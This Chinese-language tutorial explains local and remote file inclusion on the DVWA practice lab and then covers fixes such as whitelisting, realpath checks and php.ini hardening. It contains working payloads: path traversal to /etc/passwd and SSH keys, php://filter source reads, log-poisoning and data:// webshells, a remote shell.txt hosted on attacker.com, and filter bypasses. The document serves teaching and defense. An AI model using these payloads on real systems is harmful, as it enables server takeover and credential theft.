文件包含漏洞原理与实战:从LFI文件读取到RFI远程代码执行
文件包含漏洞File Inclusion在安全圈经常被缩写成 LFILocal File Inclusion本地文件包含和 RFIRemote File Inclusion远程文件包含。我最早接触这个漏洞是在挖 SRC 和打 CTF 的时候当时光看名字以为只是“读个文件”深入了解之后才发现它完全有能力从“读文件”升级成“执行代码”。很多 Web 开发者习惯把用户传来的文件名直接交给 include()、require() 这类函数处理一旦参数可控整台服务器的敏感文件、源码甚至权限都可能被翻个底朝天。这篇文章我打算用 DVWA 靶场把 LFI 和 RFI 完整走一遍不光是演示“能读 /etc/passwd”更要把背后的原理、绕过思路、从读取到 getshell 的路径都讲透。看完之后不管是做安全开发、搞渗透测试还是在 CTF 里遇到文件包含题你都能有一个清晰的排查思路。放心所有演示都在授权范围内的本地靶场完成拿到真实环境里一定要先确认测试授权。1. 文件包含漏洞是什么从功能设计到致命缺陷1.1 为什么会有“包含文件”这种功能很多 Web 应用为了代码复用和模板化会把公共代码拆成多个文件再用 include、require 这样的语法引入。比如一个站点希望根据不同的参数展示不同页面常见的写法就是?php $page $_GET[page]; include($page . .php); ?这种设计在早期的 PHP 项目里满天飞尤其是做模板切换、语言包加载、主题系统的时候。设计者的本意是好的让页面结构灵活、代码可维护、多个模块之间不互相污染。问题是当$page来源于用户可控参数并且没有经过任何校验时这个“灵活功能”就会变成攻击面。攻击者传什么路径服务器就包含什么文件相当于你把服务器文件系统的钥匙交到了陌生人手里还没告诉他只能开哪一扇门。这类函数不只在 PHP 中有Java 的 RequestDispatcher、JSP 的jsp:include、Python 的open()配合模板加载、Node.js 里动态加载模块都可能出现类似的包含场景。只是 PHP 因为历史原因和内置伪协议太丰富成了文件包含漏洞的重灾区。理解这个问题的时候与其盯着某个语言的语法不如先抓住核心一个外部输入被直接拼入了“动态加载文件”的操作中且没有任何边界限制。1.2 LFI 和 RFI 的本质区别LFI 和 RFI 都属于文件包含漏洞区别主要在于“包含进来的文件来自哪里”。类型全称包含对象关键条件典型危害LFILocal File Inclusion服务器本地已有的文件能控制include参数允许../穿越或使用伪协议读取敏感文件、源码泄露配合其他点可 getshellRFIRemote File Inclusion攻击者远程服务器上的恶意文件需要allow_url_includeOn且目标能访问外网直接执行攻击者代码通常一步 getshellRFI 之所以危害更大是因为攻击者不依赖服务器上已有文件直接放一个包含恶意代码的文本文件目标服务器通过include把它加载并执行等于把攻击者的代码“引狼入室”。LFI 则需要更多前置条件要么服务器上恰好有可读且可控内容的文件要么能通过日志、Session、临时文件把恶意代码写进某个位置再包含。相比之下RFI 的利用链更短、更稳定。很多教材会把 LFI 和 RFI 分开讲但在实际代码审计中往往只需要看一处代码就同时存在这两种风险。比如 DVWA 的低等级代码就是这样一个参数既可能被用来做本地目录穿越也可能被用来包含远程文件完全取决于目标环境是否开启了远程包含配置。所以理解它们的共同根源比死记概念更关键攻击者控制了即将被包含文件的“路径”。2. DVWA 靶场里的文件包含漏洞环境准备与初体验2.1 搭建 DVWA 实验环境DVWADamn Vulnerable Web Application是专门用来练习 Web 漏洞的靶场内置了文件包含、SQL 注入、XSS 等常见漏洞模块。我习惯用 Docker 搭建干净、好清理换版本也方便docker run --rm -it -p 80:80 vulnerables/web-dvwa启动后浏览器访问http://127.0.0.1默认账号是admin密码是password。首次登录会让你点击Create / Reset Database创建数据库等几秒钟后再重新登录。如果你看到数据库相关的报错多半是 MySQL 还没完全初始化等一会儿刷新页面就好。进入 DVWA 后先在左侧找到DVWA Security把安全等级切到low。这个等级下的文件包含模块没有任何参数过滤最适合理解漏洞本质。如果实验过程中打算演示 RFI还需要修改 PHP 配置找到容器内的php.ini把allow_url_include从Off改成On然后重启 PHP 服务。具体命令取决于镜像环境常见的是docker exec -it container-id bash # 找到 php.ini 位置 php --ini # 修改后重启或用 docker restart container-id注意修改allow_url_include只是为了让靶场满足 RFI 触发条件。真实环境中这个配置默认通常是 Off这也是现在 RFI 没有早年那么常见的原因之一。2.2 DVWA 安全等级的设计逻辑DVWA 把同一个漏洞分成四个等级恰好对应我们在真实项目中会遇到的几种代码水平等级过滤逻辑绕过方式low无过滤直接拼接include($file)直接打medium用str_replace替换掉http://和https://双写绕过如hthttp://tp://high要求参数必须包含file字样或使用file://开头用file://协议或包含路径中带file的文件impossible白名单校验只允许指定的几个页面无法绕过这是正确写法这套等级设计很妙它告诉你过滤黑名单永远有绕过空间只有白名单才是相对可靠的。刚开始练习时不用急着挑战高等级先把 low 打明白再一层层看防御是怎么加的、为什么能被绕过。很多 CTF 题目里设置的“花里胡哨”的过滤本质就是在 DVWA 这几个等级的基础上魔改出来的。2.3 先看一下漏洞源码在浏览器里打开/vulnerabilities/fi/source/low.php需要登录 DVWA 并保持 session。源码非常短?php $file $_GET[page]; include($file); ?就这么三行一个高危漏洞诞生了。$_GET[page]直接进入include()完全没有任何过滤。有些初学者觉得这也太假了但现实世界里的老项目这种代码并不少见尤其是一些年久失修的后台模板系统。后面我演示的所有攻击都是从这个入口打进去的。3. LFI 本地文件包含原理剖析与利用路径3.1 核心原理可控参数进入 include在 DVWA 的 File Inclusion 模块里访问http://127.0.0.1/vulnerabilities/fi/?pageinclude.php会正常包含并渲染页面。问题在于把page参数换掉比如尝试读取系统用户文件http://127.0.0.1/vulnerabilities/fi/?page../../../../../etc/passwd返回结果里会出现root:x:0:0:root:/root:/bin/bash这样的内容。原理很简单include()在处理一个以../开头的相对路径时会根据当前工作目录向上一层层跳转最终把/etc/passwd文件内容当作 PHP 代码“执行”。因为该文件里没有?php标签所以文件内容原样输出到响应中从效果上看就变成了任意文件读取。这里有一个关键概念需要理解include和fopen、file_get_contents这类函数在路径处理上有相似性但include会把文件内容当 PHP 代码解析。如果没有 PHP 标签就老老实实输出如果文件里存在动态内容或日志后缀就可能被解释器执行。这个特点直接导致 LFI 有从“读取”变成“执行”的潜力。3.2 利用思路与绕过策略面对 LFI首先要确认能读到哪些文件。常规敏感文件清单包括/etc/passwd确认当前系统是否存在用户辅助判断系统类型/etc/issue、/etc/os-release操作系统版本指纹/var/www/html/config.php或.env数据库密码、密钥等敏感配置/proc/self/environ进程环境变量早期可配合注入恶意代码Web 日志/var/log/apache2/access.log、/var/log/nginx/access.logSSH 私钥/root/.ssh/id_rsa如果 Web 服务权限足够如果目标对../做了过滤可以通过 URL 编码绕过。比如../编码成%2e%2e%2f或大小写变形..%2f有时还要考虑中间件对路径解析的差异。真实代码审计里还会遇到过滤../但不过滤绝对路径的情况直接用/etc/passwd也能读。多一层编码、多一层拼接往往就有意外之喜。读取 PHP 源码是 LFI 的高频玩法用的伪协议是php://filterhttp://127.0.0.1/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resourceconfig.php为什么必须 base64 编码因为直接 include 一个 PHP 文件会被执行你是看不到源码的只有把内容转成 base64 字符串后PHP 才会把编码后的内容当成“非 PHP 代码”输出。拿到一串 base64再解码就是完整源码。这个技巧在 CTF 和代码审计里都非常实用。早期还有一些“空字节截断”技巧比如?page../../../../etc/passwd%00原理是用%00截断后面的后缀但 PHP 5.3.4 修复后已经失效现在基本遇不到知道历史就好不用花太多时间研究。3.3 从读到执行LFI getshell 的几条路LFI 最刺激的不是读文件而是想办法执行代码。这里总结我在实战中常用的几条路径路径一包含日志文件很多 Web 服务会把访问日志写到固定目录比如/var/log/apache2/access.log。日志内容里包含请求行、UA 等信息。攻击者先构造一个带 PHP 代码的请求让日志把代码记下来再用 LFI 去包含日志文件让代码被执行。一个简单请求长这样curl http://127.0.0.1/vulnerabilities/fi/?page/var/log/apache2/access.log -H User-Agent: ?php system(\$_GET[c]); ?然后访问http://127.0.0.1/vulnerabilities/fi/?page/var/log/apache2/access.logcid这条利用链有两个前提知道服务器日志路径Web 进程对日志文件有读权限。日志文件可能很大include 后响应会非常长且格式混乱但只要能触发一般都能看到命令执行结果。路径二包含环境变量文件/proc/self/environ文件记录当前进程的环境变量某些情况下 User-Agent 头会被写入环境变量。于是可以向 UA 注入 PHP 代码再包含/proc/self/environ。这个技巧在老的 PHP 环境上有用现代系统大多限制了/proc访问但遇到老系统或容器配置不当的情况依然值得一试。路径三包含 Session 文件PHP 默认把 Session 文件保存在/tmp下文件名类似sess_sessionid。如果我们能在 Session 中写入可控内容比如用户名、昵称再把 LFI 指向 Session 文件也能触发执行。这个思路在只能控制少量输入时很常见难点是 Session 文件路径容易因系统配置不同而变化。路径四配合文件上传如果目标允许上传图片马上传的图片会落在某个目录用 LFI 直接包含图片路径就能执行。图片马的标准做法是把 PHP 代码藏在图片的 EXIF 信息或文件尾部只要文件里存在 PHP 标签就能被解释器解析。这个思路在 CTF 里经常配合“上传点 文件包含”组合出现。路径五phar 反序列化phar://协议可以触发 PHP 反序列化从而利用应用内部已有的魔法方法执行危险操作。严格来说这已经不是单纯的 LFI而是把文件包含漏洞当作反序列化入口。很多审计教程会单独讲 phar 反序列化这里先提一嘴遇到的时候知道往这个方向想就好。4. RFI 远程文件包含危害更大的一条路4.1 触发条件allow_url_include 是关键RFI 的核心是include直接加载一个远程 URL比如http://attacker.com/shell.txt。PHP 要支持这种操作php.ini里必须开启allow_url_fopen On allow_url_include Onallow_url_fopen通常默认开启控制file_get_contents、fopen能否打开远程文件allow_url_include默认是 Off控制include能否加载远程文件。两者都要为 OnRFI 才能成立。这也是为什么现在 RFI 比 LFI 少很多大部分生产环境都关掉了allow_url_include。但在共享虚拟主机、老 PHP 应用、或开发环境配置不规范的项目里allow_url_include依然可能被打开。遇到这种情况一条 RFI 请求可以直接入侵服务器比 SQL 注入还要干脆。4.2 RFI 利用实操攻击者需要准备一个恶意文件最简单的内容就是一句话代码?php system($_GET[cmd]); ?把它放到一个 HTTP 服务可达的目录比如http://attacker.com/shell.txt。然后在目标 DVWA 上请求http://127.0.0.1/vulnerabilities/fi/?pagehttp://attacker.com/shell.txtcmdid如果目标环境满足allow_url_includeOn、并且攻击者服务器能正常返回这个文本文件你会发现目标服务器把远程文件内容当作 PHP 代码执行了页面上输出id命令的结果。这一步就等于在目标服务器上拿到了代码执行权限。接下来就是老生常谈的权限提升、内网横向话题这里不展开。如果不想依赖一个外部服务器还可以用 PHP 自带的data://协议http://127.0.0.1/vulnerabilities/fi/?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8注意PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8是?php system($_GET[c]);?的 base64 编码。这样做的好处是不需要单独准备攻击服务器只要目标环境支持data://一个请求就能完成利用。data://协议本质上也是 RFI 的一种变体因为它在include时被当作数据流处理。4.3 为什么 RFI 比 LFI 更危险对比两条利用链就明白了LFI需要找到一个可读的文件确认目录结构构造路径穿越还要绕过可能的过滤。如果想 getshell还得叠加日志注入、Session 注入或上传点链路很长任何一环出问题都会失败。RFI只要目标允许远程包含一个 URL 直接搞定。攻击者完全掌握恶意文件内容可以在自己服务器上任意修改、测试成功率非常高。维度LFIRFI前置条件参数可控 允许目录穿越/伪协议参数可控 allow_url_include 开启攻击门槛中需要不断探测低一条 URL 即可危害读取敏感文件组合利用后执行直接执行任意代码现实频率高中低但一旦遇到就是致命一击从防御角度看RFI 的风险评级更高因为它的利用代价太低。在代码审计中只要看到include($_GET)、require($_POST)这类写法我的第一反应就是检查allow_url_include是否开启如果开启这就是一个可以直接上“高危”的漏洞。5. 文件包含漏洞的防御修复代码不是打补丁5.1 代码层面必做白名单优先最稳健的修复方式是放弃“用户传路径”的设计改成“用户传索引”的映射模型。正常业务里可包含的页面本来就是有限的用一个数组或 switch 把索引映射到真实文件就好。?php $pages [ home ./views/home.php, about ./views/about.php, contact ./views/contact.php, ]; $id $_GET[page] ?? home; if (isset($pages[$id])) { include($pages[$id]); } else { include($pages[home]); }这样用户输入的永远是home、about而不是../../../../etc/passwd。即使攻击者构造出再奇特的路径也无法进入$pages[$id]的白名单范围。这是我推荐的首选方案因为它在设计层面消除了整个漏洞类别而不是靠一层又一层“堵”。5.2 输入校验与路径规范化如果业务确实需要动态包含文件就要对路径做严格校验。第一步用realpath()拿到规范化后的绝对路径然后检查这个路径是否在允许的目录内。?php function safeInclude($path, $baseDir) { $realBase realpath($baseDir); $realPath realpath($baseDir . DIRECTORY_SEPARATOR . $path); if ($realPath false) { return false; } if (strpos($realPath, $realBase) ! 0) { return false; } return $realPath; }这里的关键是realpath()它会把../、符号链接、多层路径全部规范化从根上消除目录穿越。黑名单过滤比如禁止../、禁止://只能算临时缓解因为攻击者的编码变体太多了URL 编码、双写、Unicode 变体、中间件解析差异总能找到绕过空间。我在实际项目里见过不少团队把过滤黑名单写得像城墙一样最后还是被一个冷门编码绕过原因就是没有做“许可路径判定”而是忙着“拒绝所有坏路径”。5.3 运行时配置加固除了改代码还要把 PHP 配置尽量收窄。重点看这几项配置项推荐值说明allow_url_includeOff直接关闭远程包含能力allow_url_fopen按需不需要远程请求时建议 Offopen_basedir限定到应用目录限制文件访问范围即使包含成功也读不出目录外文件disable_functions按需禁用配合命令执行的加固防止 getshell 后直接调用系统函数open_basedir是一个被低估的防御手段。它虽然不能阻止代码执行但能显著缩小攻击者的读取范围。即便 LFI 成功去读/etc/passwd也会被 PHP 拒绝。中间件层面也要做好基础加固比如隐藏版本号、关掉目录列表、减少不必要的路径解析规则。WAF 可以临时拦截一些已知攻击特征但不要把它当成长期方案代码层面的白名单才是根治方法。5.4 日志与监控最后别忽视日志和监控。文件包含攻击有一个很明显的特征page参数里出现../、php://、http://、data://等协议或路径穿越串。如果能在 WAF 或应用日志里记录并告警这些特征可以大大缩短发现时间。我在做应急响应时最头疼的不是攻击本身而是“攻击发生了一个月都没有日志”根本没法溯源。给生产环境的 include 参数单独记录审计日志是一个成本低但收益明显的小习惯。6. 常见问题与排查技巧实录6.1 DVWA 上复现 LFI 时为什么读不到文件很多新手在 DVWA 里执行?page../../../../etc/passwd没反应大概率是层级数不对。不同站点目录深度不一样include相对路径的起点是当前 PHP 脚本的工作目录不一定是你浏览器地址栏看到的路径。可以先从 2 层开始逐层尝试也可以直接使用绝对路径/etc/passwd很多时候比猜../更高效。有些环境下浏览器会对路径中的../做规范化处理导致请求发出去的时候 URL 已经和原始输入不一样。遇到这种情况用curl发请求是最稳的既能看到完整请求也能避免浏览器干扰。6.2 RFI 一直失败问题出在哪重点检查三件事allow_url_include是否开启。通过phpinfo()页面查看没有的话写一个探针文件确认。攻击者服务器是否可达。可以先用file_get_contents测试同一网络是否能够访问外网有些目标只在特定网段攻击者服务器放在公网的话可能根本访问不到。DVWA 中等级会对http://和https://做替换需要双写绕过。比如把请求改成?pagehthttp://tp://attacker.com/shell.txt替换掉中间那一截后实际解析时又能拼出http://。RFI 失败的原因有时候很“蠢”比如攻击者服务器只开了 HTTPS但页面里写的是http://或者远程文件内容被防火墙拦截。逐个排查顺序建议是本地协议参数 → 目标网络连通性 → 过滤规则。6.3 高安全等级下如何绕过DVWA 的 high 等级要求page参数必须包含file字样或者以file://开头。这里有个便捷利用方式http://127.0.0.1/vulnerabilities/fi/?pagefile:///etc/passwd因为file://开头以file命名同时本身又是一种伪协议可以直接读取本地文件。如果目标判断要求“包含 file 这个子串”那还可以上传一个名为file.php的马再包含它的路径。这种“校验文件名包含固定字符串”的思路虽然比黑名单强一点但只要逻辑里存在可构造的部分依然有很大绕过空间。6.4 在真实项目中如何快速发现文件包含点渗透测试时我一般先看 URL 参数名重点关注page、file、path、template、include、load、dir这些。发现这些参数后我会先提交一个简单的路径穿越串观察响应是否包含/etc/passwd的特征或者报错信息是否暴露了文件路径。接缝处也能发现蛛丝马迹如果传入一个不存在的文件名时错误信息里打印出了include(foo.php)说明这里大概率存在文件包含点。代码审计时更快直接搜include、require、include_once、require_once关键字看参数是否来自$_GET、$_POST、$_COOKIE或者经过了几层处理最终进入这些函数。只要变量源头可控即使中间有过滤也要继续追踪因为过滤可能被绕过。最后再说一个我踩过的小坑用php://filter读取源码时如果目标文件代码量很大base64 输出会非常长浏览器直接显示可能会被截断或输出乱码。我的习惯是先保存整个响应再用 Python 或命令行解码而不是盯着页面看。另外convert.base64-encode是可以串联多个过滤器的比如convert.base64-encode/resourceconfig.php已经够用不用额外叠加不必要的转换简单路径往往最稳定。文件包含漏洞看起来是很老的 Web 漏洞但在真实环境里的生命力远超想象。我见过不少项目把大量核心逻辑写在一个个.php文件里用include($_GET[module])组织“插件机制”结果一条路径穿越就能把整个后台源码扒干净。理解 LFI 和 RFI 不是让你拿着一两个 Payload 到处打而是要真正看懂“可控参数进入包含函数”这个本质然后把白名单、路径规范化、最小权限这些防御手段落到代码里。靶场里走一遍比看一百篇漏洞描述都管用。
上一篇/下一篇内容由系统自动关联
返回资讯列表 →